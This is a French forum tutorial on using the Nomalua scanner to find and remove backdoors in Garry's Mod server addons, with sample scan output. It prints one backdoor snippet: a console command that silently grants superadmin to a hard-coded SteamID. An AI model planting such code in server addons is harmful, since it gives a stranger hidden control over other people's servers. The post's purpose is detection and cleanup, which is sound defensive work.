Non Vérifié Comment supprimer une backdoor sans avoir a fouiller les fichiers un par un

[Reiko]

• Vous allez commencer par télécharger l'addon normalua et le mettre dans la partie addon de votre serveur sur le ftp avec l'addon ou les addons suspicieux.

• Ensuite vous allez redémarrer votre serveur.

• Une fois votre serveur redémarrer vous tapez dans votre console côté serveur (ne vous connecter surtout pas InGame) :

  nomalua scan

• Quelque seconde après votre console vous donnera ceci :

  1 - FILESYS (Reading file contents) addons/smugglesystem/lua/autorun/server/smug_server.lua:138 local PositionFile = file.Read("craphead_scripts/smuggle_system/".. string.lower(game.GetMap()) .."/smuggletruck_location.txt", "DATA")1 - MISC (References global table) gamemodes/darkrp/gamemode/libraries/fn.lua:120 GetGlobalVar = function(key) return _G[key] end
   4 - NETWORK (HTTP server call) lua/autorun/photon/cl_emv_airel.lua:17 http.Fetch( fetchUrl,
   1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:52 local fileRead = file.Read( "playerlist.txt" )
   1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:92 local fileCheck = file.Read("playerlist.txt")
   1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:142 file.Read( "playerlist.txt" )
   4 - NETWORK (HTTP server call) gamemodes/darkrp/gamemode/modules/darkrpmessages/cl_darkrpmessage.lua:16 http.Fetch("https://raw.github.com/FPtje/DarkRPMotd/master/motd.txt", receiveMOTD, fn.Id)
   2 - AUTHENT (Presence of Steam ID) lua/autorun/tdmcars_vols60_police.lua:2 © Guillaume (STEAM_0:0:71249946)
   1 - MISC (References global table) lua/includes/util.lua:267 _G[ name ] = NUM_AI_CLASSES
   2 - FILESYS (File deletion) lua/includes/util/javascript_util.lua:13 html:AddFunction( "gmod", "DeleteLocal", function( param ) file.Delete( param, "MOD" ) end )
   1 - MISC (References global table) lua/includes/util/javascript_util.lua:14 html:AddFunction( "gmod", "FetchItems", function( namespace, cat, offset, perpage, ... ) _G[ namespace ]:Fetch( cat, tonumber( offset ), tonumber( perpage ), { ... } ) end )
   1 - MISC (References global table) lua/includes/util/javascript_util.lua:16 html:AddFunction( "gmod", "Publish", function( namespace, file, background ) _G[ namespace ]:Publish( file, background ) end )
   [size=85][font=Helvetica Neue, Helvetica, Arial, sans-serif]2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:52 Chromebolt A.K.A. Unib5 (STEAM_0:1:19045957)[/font][/size]
   2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:55 Falco A.K.A. FPtje Atheos (STEAM_0:0:8944068)
   2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)
   2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:62 Eusion (STEAM_0:0:20450406) (3 commits on old SVN)

• Nous voyons beaucoup d'informations mais pas de trace de backdoor.

• Exemple pour un addon infecté :

  2 - AUTHENT (Presence of Steam ID) addons/prisonrptimer/lua/autorun/prisonrp_timer.lua:101 if ( ply:SteamID() == "STEAM_0:1:64045285") then
   
   "if ( ply:SteamID() == "STEAM_0:1:64045285") then" est une backdoor.

• On va maintenant supprimer la backdoor donc on va aller dans addons/prisonrptimer/lua/autorun et ouvrer le fichier prisonrp_timer.lua et aller à la ligne 101 on y trouvera ceci :
  

  concommand.Add( "EFM", function(ply)
   if ( ply:SteamID() == "STEAM_0:1:64045285") then
   RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")
   else
   ply:ChatPrint("Rcon commands Enable, " .. ply:Name() .. ".")
   end
   end)

• Il nous reste plus qu'a supprimer tous ça et hop plus de backdoor.

• Petit conseil pour trouver plus facilement les backdoors chercher ce type de ligne :

  AUTHENT (Presence of Steam ID) addons/nom_de_l'addon_infecté/fichier_infecté.lua:"numéro de la ligne" if

Vous devez aimer ce post pour à accéder à ce contenu.

​